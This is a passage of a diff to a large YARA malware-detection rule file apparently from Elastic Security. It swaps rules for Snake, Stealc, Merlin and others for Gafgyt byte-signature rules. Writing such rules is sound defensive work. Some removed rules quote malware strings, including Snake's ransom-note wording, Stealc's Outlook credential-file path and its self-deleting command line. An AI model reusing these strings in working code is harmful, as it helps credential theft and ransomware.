+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Gafgyt.yar#L218-L236"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df"
+		logic_hash = "2db46180e66c9268a97d63cd1c4eb8439e6882b4e3277bc4848e940e4d25482f"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "c7517a40759de20edf7851d164c0e4ba71de049f8ea964f15ab5db12c35352ad"
+		fingerprint = "1c5df68501b688905484ed47dc588306828aa7c114644428e22e5021bb39bd4a"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -58437,29 +62641,27 @@ rule ELASTIC_Linux_Ransomware_Babuk_Bd216Cab : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a1 = "Whole files count: %d"
-		$a2 = "Doesn't encrypted files: %d"
+		$a = { DC 00 74 1B 83 7D E0 0A 75 15 83 7D E4 00 79 0F C7 45 C8 01 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Dnsamp_C31Eebd4 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Gafgyt_807911A2 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Dnsamp (Linux.Trojan.Dnsamp)"
+		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
 		author = "Elastic Security"
-		id = "c31eebd4-7709-440d-95d1-f9a3071cc5ca"
+		id = "807911a2-f6ec-4e65-924f-61cb065dafc6"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Dnsamp.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "4b86de97819a49a90961d59f9c3ab9f8e57e19add9fe1237d2a2948b4ff22de6"
-		logic_hash = "b998065eff9f67a1cdf19644a13edb0cef3c619d8b6e16c412d58f5d538e4617"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Gafgyt.yar#L238-L255"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "66b15304d5ed22daea666bd0e2b18726b8a058361ff8d69b974bfded933a4d8c"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "220b656a51b3041ede4ffe8f509657c393ff100c88b401c802079aae5804dacd"
+		fingerprint = "f409037091b7372f5a42bbe437316bd11c655e7a5fe1fcf83d1981cb5c4a389f"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -58467,28 +62669,27 @@ rule ELASTIC_Linux_Trojan_Dnsamp_C31Eebd4 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 45 F8 8B 40 14 48 63 D0 48 8D 45 E0 48 8D 70 04 48 8B 45 F8 48 8B }
+		$a = { FE 48 39 F3 0F 94 C2 48 83 F9 FF 0F 94 C0 84 D0 74 16 4B 8D }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Merlin_Bbad69B8 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Gafgyt_9C18716C : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Merlin (Linux.Trojan.Merlin)"
+		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
 		author = "Elastic Security"
-		id = "bbad69b8-e8fc-43ce-a620-793c059536fd"
-		date = "2022-09-12"
-		modified = "2022-10-18"
+		id = "9c18716c-e5cd-4b4f-98e2-0daed77f34cd"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Merlin.yar#L21-L39"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "d9955487f7d08f705e41a5ff848fb6f02d6c88286a52ec837b7b555fb422d1b6"
-		logic_hash = "e18079c9f018dc8d7f2fdf5c950b405f9f84ad2a5b18775dbef829fe1cb770c3"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Gafgyt.yar#L257-L274"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "0e70dc82b2049a6f5efcc501e18e6f87e04a2d50efcb5143240c68c4a924de52"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "594f385556978ef1029755cea53c3cf89ff4d6697be8769fe1977b14bbdb46d1"
+		fingerprint = "351772d2936ec1a14ee7e2f2b79a8fde62d02097ae6a5304c67e00ad1b11085a"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -58496,28 +62697,28 @@ rule ELASTIC_Linux_Trojan_Merlin_Bbad69B8 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { DA 31 C0 BB 1F 00 00 00 EB 12 0F B6 3C 13 40 88 3C 02 40 88 }
+		$a = { FC 80 F6 FE 59 21 EC 75 10 26 CF DC 7B 5A 5B 4D 24 C9 C0 F3 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Merlin_C6097296 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Gafgyt_Fbed4652 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Merlin (Linux.Trojan.Merlin)"
+		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
 		author = "Elastic Security"
-		id = "c6097296-c518-4541-99b2-e2f6d3e4610b"
-		date = "2022-09-12"
-		modified = "2022-10-18"
+		id = "fbed4652-2c68-45c6-8116-e3fe7d0a28b8"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Merlin.yar#L41-L59"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "d9955487f7d08f705e41a5ff848fb6f02d6c88286a52ec837b7b555fb422d1b6"
-		logic_hash = "f48ed7f19ab29633600fde4bfea274bf36e7f60d700c9806b334d38a51d28b92"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Gafgyt.yar#L276-L294"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "2ea21358205612f5dc0d5f417c498b236c070509531621650b8c215c98c49467"
+		logic_hash = "fc1f501123ab7421034e183186b077f65838b475f883d4ff04e8fc8a283424ef"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "8496ec66e276304108184db36add64936500f1f0dd74120e03b78c64ac7b5ba1"
+		fingerprint = "a08bcc7d0999562b4ef2d8e0bdcfa111fe0f76fc0d3b14d42c8e93b7b90abdca"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -58525,120 +62726,115 @@ rule ELASTIC_Linux_Trojan_Merlin_C6097296 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 54 24 38 48 89 5C 24 48 48 85 C9 75 62 48 85 D2 75 30 48 89 9C 24 C8 00 }
+		$a = { 02 00 00 2B 01 00 00 0E 00 00 00 18 03 00 7F E9 38 32 C9 4D }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Ransomware_Snake_550E0265 : BETA FILE MEMORY
+rule ELASTIC_Linux_Trojan_Gafgyt_94A44Aa5 : FILE MEMORY
 {
 	meta:
-		description = "Identifies SNAKE ransomware"
+		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
 		author = "Elastic Security"
-		id = "550e0265-fca9-46df-9d5a-cf3ef7efc7ff"
-		date = "2020-06-30"
-		modified = "2021-08-23"
-		reference = "https://labs.sentinelone.com/new-snake-ransomware-adds-itself-to-the-increasing-collection-of-golang-crimeware/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Ransomware_Snake.yar#L1-L24"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "d9c2f6961a4ef560743060ed176bdc606561ca1b8270b8826cb0dbadaf4e5dbc"
-		score = 75
-		quality = 75
-		tags = "BETA, FILE, MEMORY"
-		fingerprint = "f2796560ddc85ad98a5ef4f0d7323948d57116813c8a26ab902fdfde849704e0"
-		threat_name = "Windows.Ransomware.Snake"
+		id = "94a44aa5-6c8b-40b9-8aac-d18cf4a76a19"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Gafgyt.yar#L296-L314"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "a7694202f9c32a9d73a571a30a9e4a431d5dfd7032a500084756ba9a48055dba"
+		logic_hash = "deb46c2960dc4868b7bac1255d8753895950bc066dec03674a714860ff72ef2c"
+		score = 60
+		quality = 45
+		tags = "FILE, MEMORY"
+		fingerprint = "daf7e0382dd4a566eb5a4aac8c5d9defd208f332d8e327637d47b50b9ef271f9"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = "Go build ID: \"X6lNEpDhc_qgQl56x4du/fgVJOqLlPCCIekQhFnHL/rkxe6tXCg56Ez88otHrz/Y-lXW-OhiIbzg3-ioGRz\"" ascii fullword
-		$a2 = "We breached your corporate network and encrypted the data on your computers."
-		$a3 = "c:\\users\\public\\desktop\\Fix-Your-Files.txt" nocase
-		$a4 = "%System Root%\\Fix-Your-Files.txt" nocase
-		$a5 = "%Desktop%\\Fix-Your-Files.txt" nocase
+		$a = { 00 00 00 83 F8 FF 0F 45 C2 48 8B 4C 24 08 64 48 33 0C 25 28 00 }
 
 	condition:
-		1 of ($a*)
+		all of them
 }
-rule ELASTIC_Windows_Ransomware_Snake_119F9C83 : BETA FILE MEMORY
+rule ELASTIC_Linux_Trojan_Gafgyt_E0673A90 : FILE MEMORY
 {
 	meta:
-		description = "Identifies SNAKE ransomware"
+		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
 		author = "Elastic Security"
-		id = "119f9c83-4b55-47ce-8c0d-3799a7b46369"
-		date = "2020-06-30"
-		modified = "2021-08-23"
-		reference = "https://labs.sentinelone.com/new-snake-ransomware-adds-itself-to-the-increasing-collection-of-golang-crimeware/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Ransomware_Snake.yar#L26-L46"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "cf6c81e7332acc798409a05a548460bad0ac3621402672c242e48a1b6bccdae6"
+		id = "e0673a90-165e-4347-a965-e8d14fdf684b"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Gafgyt.yar#L316-L334"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "c5a317d0d8470814ff343ce78ad2428ebb3f036763fcf703a589b6c4d33a3ec6"
+		logic_hash = "149147eedd66f9ca2dad9cb69f37abc849d44331ec1b5d2917ab3867ced0b274"
 		score = 75
 		quality = 75
-		tags = "BETA, FILE, MEMORY"
-		fingerprint = "13ffd63c31df2cbaa6988abcaff3b0a3518437f1d37dcd872817b9cbdb61576f"
-		threat_name = "Windows.Ransomware.Snake"
+		tags = "FILE, MEMORY"
+		fingerprint = "6834f65d54bbfb926f986fe2dd72cd30bf9804ed65fcc71c2c848e72350f386a"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$c1 = { 00 40 83 7C 00 40 9E 7C 00 60 75 7C 00 B0 6C 7C 00 B0 74 7C 00 D0 74 7C 00 B0 59 7C 00 D0 59 7C 00 F0 59 7C 00 10 5A 7C 00 30 5A 7C 00 50 5A 7C 00 70 5A 7C 00 90 5A 7C 00 B0 5A 7C 00 D0 5A 7C 00 D0 6C 7C 00 F0 5A 7C 00 30 5B 7C 00 50 5B 7C 00 70 5B 7C 00 90 5B 7C 00 D0 5E 7C 00 B0 5B 7C 00 D0 5B 7C 00 F0 5B 7C 00 50 60 7C 00 70 61 7C 00 10 5C 7C 00 30 5C 7C 00 50 5C 7C 00 10 63 7C 00 70 5C 7C 00 90 5C 7C 00 90 64 7C 00 B0 5C 7C 00 F0 5C 7C 00 10 5D 7C 00 F0 6C 7C 00 10 6D 7C 00 30 5D 7C 00 50 5D 7C 00 30 6D 7C 00 90 71 7C 00 70 5D 7C 00 90 5D 7C 00 B0 5D 7C 00 D0 5D 7C 00 70 6D 7C 00 F0 5D 7C 00 10 5E 7C 00 30 5E 7C 00 50 5E 7C 00 70 5E 7C 00 90 5E 7C 00 B0 5E 7C 00 F0 5E 7C 00 10 5F 7C 00 30 5F 7C 00 50 5F 7C 00 70 5F 7C 00 90 6D 7C 00 90 5F 7C 00 B0 6D 7C 00 D0 6D 7C 00 F0 6D 7C 00 10 6E 7C 00 B0 5F 7C 00 D0 5F 7C 00 F0 5F 7C 00 10 60 7C 00 30 60 7C 00 30 6E 7C 00 70 60 7C }
-		$c2 = { 00 30 64 7C 00 50 64 7C 00 70 64 7C 00 B0 64 7C 00 D0 64 7C 00 30 73 7C 00 F0 64 7C 00 90 71 7C 00 10 65 7C 00 30 65 7C 00 50 65 7C 00 90 72 7C 00 B0 72 7C 00 70 6E 7C 00 70 65 7C 00 B0 65 7C 00 D0 65 7C 00 F0 65 7C 00 10 66 7C 00 30 66 7C 00 50 66 7C 00 70 66 7C 00 90 66 7C 00 B0 66 7C 00 D0 66 7C 00 F0 66 7C 00 30 67 7C 00 90 6E 7C 00 B0 6E 7C 00 D0 6E 7C }
+		$a = { 45 E8 0F B6 00 84 C0 74 17 48 8B 75 E8 48 FF C6 48 8B 7D F0 48 }
 
 	condition:
-		1 of ($c*)
+		all of them
 }
-rule ELASTIC_Windows_Ransomware_Snake_20Bc5Abc : BETA FILE MEMORY
+rule ELASTIC_Linux_Trojan_Gafgyt_821173Df : FILE MEMORY
 {
 	meta:
-		description = "Identifies SNAKE ransomware"
+		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
 		author = "Elastic Security"
-		id = "20bc5abc-c519-47d2-a6de-5108071a9144"
-		date = "2020-06-30"
-		modified = "2021-08-23"
-		reference = "https://labs.sentinelone.com/new-snake-ransomware-adds-itself-to-the-increasing-collection-of-golang-crimeware/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Ransomware_Snake.yar#L48-L67"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "f3d8a523e04e516e8e059c9f13df355e6caf29a528cfebdf730e3a7d135e3351"
+		id = "821173df-6835-41e1-a662-a432abf23431"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Gafgyt.yar#L336-L354"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "de7d1aff222c7d474e1a42b2368885ef16317e8da1ca3a63009bf06376026163"
+		logic_hash = "1c6c7666983c43176aa1a9628fb4352f8f11729e02dda13669ca2e62aed5f4ee"
 		score = 75
 		quality = 75
-		tags = "BETA, FILE, MEMORY"
-		fingerprint = "e7f1be2bd7e1f39b79ac89cf58c90abdb537ff54cbf161192d997e054d3f0883"
-		threat_name = "Windows.Ransomware.Snake"
+		tags = "FILE, MEMORY"
+		fingerprint = "c311789e1370227f7be1d87da0c370a905b7f5b4c55cdee0f0474060cc0fc5e4"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$b1 = { 57 12 1A 10 1A 10 1A 10 1A 10 1A 10 1A 10 1A 10 1A 10 1A 10 1A }
+		$a = { D0 48 FF C8 48 03 45 F8 48 FF C8 C6 00 00 48 8B 45 F8 48 C7 C1 FF FF }
 
 	condition:
-		1 of ($b*)
+		all of them
 }
-rule ELASTIC_Linux_Backdoor_Bash_E427876D : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Gafgyt_31796A40 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Backdoor Bash (Linux.Backdoor.Bash)"
+		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
 		author = "Elastic Security"
-		id = "e427876d-c7c5-447a-ad6d-5cbc12d9dacf"
+		id = "31796a40-1cbe-4d0c-a785-d16f40765f4a"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Backdoor_Bash.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "07db41a4ddaac802b04df5e5bbae0881fead30cb8f6fa53a8a2e1edf14f2d36b"
-		logic_hash = "fdd066b746416730419787d21eb53fa2ba997679a237d9db3a2e1365d43df892"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Gafgyt.yar#L356-L374"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "227c7f13f7bdadf6a14cc85e8d2106b9d69ab80abe6fc0056af5edef3621d4fb"
+		logic_hash = "0e0e901d12edd77e77a205f8547f891f483fc8676493e9b7a324e970225af3c9"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "6cc13bb2591d896affc58f4a22b3463a72f6c9d896594fe1714b825e064b0956"
+		fingerprint = "0a6c56eeed58a1a100c9b981157bb864904ffddb3a0c4cb61ec4cc0d770d68ae"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -58646,28 +62842,28 @@ rule ELASTIC_Linux_Backdoor_Bash_E427876D : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 67 65 44 6F 6B 4B 47 6C 6B 49 43 31 31 4B 54 6F 67 4C 32 56 }
+		$a = { 14 48 63 D0 48 8D 45 C0 48 8D 70 04 48 8B 45 E8 48 8B 40 18 48 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Backegmm_B59712E6 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Gafgyt_750Fe002 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Backegmm (Linux.Trojan.Backegmm)"
+		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
 		author = "Elastic Security"
-		id = "b59712e6-d14d-4a57-a3d6-2dc323bf840d"
+		id = "750fe002-cac1-4832-94d2-212aa5ec17e3"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Backegmm.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "d6c8e15cb65102b442b7ee42186c58fa69cd0cb68f4fd47eb5ad23763371e0be"
-		logic_hash = "a2e6016bfd8475880c28c89b5f5beeef1335de9529d44bbe7c5aaa352aab9a29"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Gafgyt.yar#L376-L394"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "4c6aeaa6f6a0c40a3f4116a2e19e669188a8b1678a8930350889da1bab531c68"
+		logic_hash = "eb9907d8a63822c2e3ab57d43dca8ede7876610f029e2f9c10c9eeace9ea0078"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "61b2f0c7cb98439b05776edeaf06b114d364119ebe733d924158792110c5e21c"
+		fingerprint = "f51347158a6477b0da4ed4df3374fbad92b6ac137aa4775f83035d1e30cba7dc"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -58675,226 +62871,200 @@ rule ELASTIC_Linux_Trojan_Backegmm_B59712E6 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 69 73 74 65 6E 00 66 6F 72 6B 00 73 70 72 69 6E 74 66 00 68 }
+		$a = { 10 8B 45 0C 40 8A 00 3C FC 75 06 C6 45 FF FE EB 50 8B 45 0C 40 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Vulndriver_Mhyprot_26214176 : FILE
+rule ELASTIC_Linux_Trojan_Gafgyt_6122Acdf : FILE MEMORY
 {
 	meta:
-		description = "Subject: miHoYo Co.,Ltd., Version: 1.0.0.0"
+		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
 		author = "Elastic Security"
-		id = "26214176-1565-4b10-bd7a-901206ef6b29"
-		date = "2022-08-25"
-		modified = "2022-08-25"
+		id = "6122acdf-1eef-45ea-83ea-699d21c2dc20"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_VulnDriver_Mhyprot.yar#L1-L22"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "509628b6d16d2428031311d7bd2add8d5f5160e9ecc0cd909f1e82bbbb3234d6"
-		logic_hash = "61d1713c689b9d663f2d3360d07735b07ca10365b5ce424b2df726bd6cc434d3"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Gafgyt.yar#L396-L413"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "140b32a8f2b7493b068e63a05b3d9baec6ec14c9f2062c7e760dde96335e29f1"
 		score = 75
 		quality = 75
-		tags = "FILE"
-		fingerprint = "368c818c0052192c73f078a0ea314e3d2f5d08bc4ef32a27d7e01a40eba68940"
-		threat_name = "Windows.VulnDriver.Mhyprot"
+		tags = "FILE, MEMORY"
+		fingerprint = "283275705c729be23d7dc75056388ecae00390bd25ee7b66b0cfc9b85feee212"
 		severity = 100
 		arch_context = "x86"
-		scan_context = "file"
+		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$subject_name = { 06 03 55 04 03 [2] 6D 69 48 6F 59 6F 20 43 6F 2E 2C 4C 74 64 2E }
-		$version = /V\x00S\x00_\x00V\x00E\x00R\x00S\x00I\x00O\x00N\x00_\x00I\x00N\x00F\x00O\x00\x00\x00{0,4}\xbd\x04\xef\xfe[\x00-\xff]{4}(([\x00-\x00][\x00-\x00])([\x00-\x01][\x00-\x00])([\x00-\x00][\x00-\x00])([\x00-\x00][\x00-\x00])|([\x00-\xff][\x00-\xff])([\x00-\x00][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff]))/
-		$str1 = "\\Device\\mhyprot2" wide fullword
+		$a = { E8 B0 00 FC 8B 7D E8 F2 AE 89 C8 F7 D0 48 48 89 45 F8 EB 03 FF }
 
 	condition:
-		int16 ( uint32(0x3C)+0x5c)==0x0001 and int16 ( uint32(0x3C)+0x18)==0x020b and $subject_name and $version and $str1
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Stealc_B8Ab9Ab5 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Gafgyt_A0A4De11 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Stealc (Windows.Trojan.Stealc)"
+		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
 		author = "Elastic Security"
-		id = "b8ab9ab5-5731-4651-b982-03ad8fe347fb"
-		date = "2024-03-13"
-		modified = "2024-03-21"
+		id = "a0a4de11-fe65-449f-a990-ad5f18ac66f0"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Stealc.yar#L1-L27"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "0d1c07c84c54348db1637e21260dbed09bd6b7e675ef58e003d0fe8f017fd2c8"
-		logic_hash = "5fc5d5cea481d1d204d1aa6c52679a23eb59438df2fe547d14c00524772867bb"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Gafgyt.yar#L415-L433"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "cf1ca1d824c8687e87a5b0275a0e39fa101442b4bbf470859ddda9982f9b3417"
+		logic_hash = "220c6ba82b906f070123b3bae9aafa72c0fb3bc8d5858a4f4bd65567076eb73d"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "49253b1d1e39ba25b2d3b622d00633b9629715e65e1537071b0f3b0318b7db12"
+		fingerprint = "891cfc6a4c38fb257ada29050e0047bd1301e8f0a6a1a919685b1fcc2960b047"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$seq_str_decrypt = { 55 8B EC 83 EC ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 83 C0 ?? 50 }
-		$seq_lang_check = { 81 E9 19 04 00 00 89 4D ?? 83 7D ?? ?? 77 ?? 8B 55 ?? 0F B6 82 ?? ?? ?? ?? FF 24 85 ?? ?? ?? ?? }
-		$seq_mem_check_constant = { 72 09 81 7D F8 57 04 00 00 73 08 }
-		$seq_hwid_algo = { 8B 08 69 C9 0B A3 14 00 81 E9 51 75 42 69 8B 55 08 }
-		$str1 = "- Country: ISO?" ascii fullword
-		$str2 = "%d/%d/%d %d:%d:%d" ascii fullword
-		$str3 = "%08lX%04lX%lu" ascii fullword
-		$str4 = "\\Outlook\\accounts.txt" ascii fullword
-		$str5 = "/c timeout /t 5 & del /f /q" ascii fullword
+		$a = { 42 0D 83 C8 10 88 42 0D 48 8B 55 D8 0F B6 42 0D 83 C8 08 88 }
 
 	condition:
-		(2 of ($seq*) or 4 of ($str*))
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Stealc_A2B71Dc4 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Gafgyt_A473Dcb6 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Stealc (Windows.Trojan.Stealc)"
+		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
 		author = "Elastic Security"
-		id = "a2b71dc4-4041-4c1f-b546-a2b6947702d1"
-		date = "2024-03-13"
-		modified = "2024-03-21"
+		id = "a473dcb6-887e-4a9a-a1f2-df094f1575b9"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
